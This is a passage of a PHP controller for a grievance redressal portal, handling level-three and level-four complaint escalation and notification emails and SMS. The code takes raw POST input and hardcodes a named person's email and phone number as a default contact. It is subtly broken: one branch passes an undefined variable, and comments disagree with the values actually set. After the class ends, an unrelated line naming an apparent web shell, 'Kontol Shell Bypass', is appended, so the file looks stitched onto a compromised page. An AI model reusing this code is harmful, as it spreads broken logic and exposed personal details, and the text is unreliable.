			redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
		}
	}
	
	/*
	* Function : sendUserConfirmationLevelThreeEmail
	*/
	private function sendUserConfirmationLevelThreeEmail($params)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$name = $params['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('email_template/lodgecomplaint_leveltwo_confirmation_email', $params, true);
			$subject = 'Dear '.$name.', Your L3 level grievance number '.$compNumber.' is send to upper level committee';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
		if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal L3: We received your grievance and your grievance number $compNumber is sent to upper level. Our upper level committee is now looking into the issue.";
			$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendComplaintAdminLevelThreeEmail
	*/
	private function sendComplaintAdminLevelThreeEmail($params, $adminArray)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$params['contactPerson'] = $adminArray['contact_person'];
		$support_email = $adminArray['support_email'];
		
		if($support_email!='') 
		{
			$template = $this->load->view('email_template/admin_lodgeleveltwocomplaint_email', $params, true);
			$subject = 'Escaltion Reported - '.$compNumber;
			$this->sendCommonEmail($support_email, $subject, $template);
		}
		
		/*if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal L3: Dear ".$adminArray['contact_person'].", We received a new grievance - $compNumber.";
			$this->sendSMS($mobile, $sms_content);
		}*/
	}
	
	/*
	* Function : levelfour
	*/
	
	public function levelfour()
	{
		//print_r($_POST); die;
		// validate the greivance ID
		$grievance_number = $_POST['grievance_number'];
		if($grievance_number!=''){
			$grievanceDetails = $this->Common_model->getSingleRecord('tblcomplaints','*',array('compNumber'=>$grievance_number));
			
			if(!empty($grievanceDetails)) {
				$params = array();
				$params['compNumber'] = $grievanceDetails['compNumber'];
				$params['userId'] = $grievanceDetails['userId'];
				$params['school_id'] = $grievanceDetails['school_id'];
				$params['department_id'] = $grievanceDetails['department_id'];
				$params['grievance_type'] = $grievanceDetails['grievance_type'];
				$params['complaint_doc'] = $grievanceDetails['complaint_doc'];
				$params['category'] = $grievanceDetails['category'];
				$params['lastUpdationDate'] = date('Y-m-d H:i:s');
				$params['status'] = 'Not Processed';
				$params['complaindetails'] = $_POST['level_two_remarks'];
				$params['complaint_level'] = '1';
				
				
				$grievanceLevelThreeDetails = $this->Common_model->getSingleRecord('tbl_levelfour_complaints','*',array('compNumber'=>$grievance_number));
				if(empty($grievanceLevelThreeDetails))
				{
						// Save level2 grievance 
						$this->Common_model->saveinfo('tbl_levelfour_complaints',$params);

						// Update tblcomplaints table complaint_level status form 6 to 9
						$this->Common_model->updateinfo('tblcomplaints',array('complaint_level'=>'10'),'complaintNumber',$grievanceDetails['complaintNumber']);

						$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$grievanceDetails['grievance_type'],'status'=>'1','category'=>'International'));
						
						// Send Email To Related Department
						$params = array();
						$params = array('name'=>$_SESSION['USER_DETAILS']['fullName'],'compNumber'=>$grievanceDetails['compNumber'], 'category'=>$grievanceDetails['category'],'complaindetails'=>$_POST['level_two_remarks'],'contactNo'=>$_SESSION['USER_DETAILS']['contactNo'],'userEmail'=>$_SESSION['USER_DETAILS']['userEmail'],'grievance_type'=>$grievanceArray[$grievanceDetails['grievance_type']]);
						
						// Send Confirmation Email to User
						//$this->sendUserConfirmationLevelFourEmail($params);
						
						// Send Confirmation Email To Level Two Spokperson
						$contactSpokeDetails = array();
						$contactSpokeDetails = $this->Common_model->getSingleRecord('admin','*', array('user_level'=>'L4','status'=>'1'));
						
						// Reassign the Support Email Array
						if(!empty($contactSpokeDetails)){
							$levelTwoArray =  array('support_mobile'=>$contactSpokeDetails['mobile_no'],'contact_person'=>$contactSpokeDetails['full_name'],'support_email'=>$contactSpokeDetails['username']);
						} else {
							$adminArray =  array('support_mobile'=>'8920976831','contact_person'=>'Default L4 Email','support_email'=>'amit.verma@shardatech.org');
						}
						
						$this->sendComplaintAdminLevelFourEmail($params, $adminArray);
						// Redirect to confirmation Page
						redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=success'));
				} else {
					redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=already_send'));	
				}
				
			} else {
				redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
			}
		} else {
			redirect(base_url('grievancehistory?key='.base64_encode($_POST['grievance_number']).'&msg=error'));
		}
	}
	
	/*
	* Function : sendUserConfirmationLevelFourEmail
	*/
	private function sendUserConfirmationLevelFourEmail($params)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$name = $params['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('email_template/lodgecomplaint_leveltwo_confirmation_email', $params, true);
			$subject = 'Dear '.$name.', Your L4 level grievance number '.$compNumber.' is send to upper level committee';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
		
		if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal L4: We received your grievance and your grievance number $compNumber is send to upper level. Our upper level committee is now looking into the issue.";
			$this->sendSMS($mobile, $sms_content);
		}
	}
	
	/*
	* Function : sendComplaintAdminLevelFourEmail
	*/
	private function sendComplaintAdminLevelFourEmail($params, $adminArray)
	{
		$mobile = $params['contactNo'];
		$email_id = $params['userEmail'];
		$compNumber = $params['compNumber'];
		$params['contactPerson'] = $adminArray['contact_person'];
		$support_email = $adminArray['support_email'];
		
		if($support_email!='') 
		{
			$template = $this->load->view('email_template/admin_lodgeleveltwocomplaint_email', $params, true);
			$subject = 'Escaltion Reported - '.$compNumber;
			$this->sendCommonEmail($support_email, $subject, $template);
		}
		
		/*if($mobile!='') {
			$sms_content="Grievance Redressal Online Portal L4: Dear ".$adminArray['contact_person'].", We received a new grievance - $compNumber.";
			$this->sendSMS($mobile, $sms_content);
		}*/
	}
 }

Kontol Shell Bypass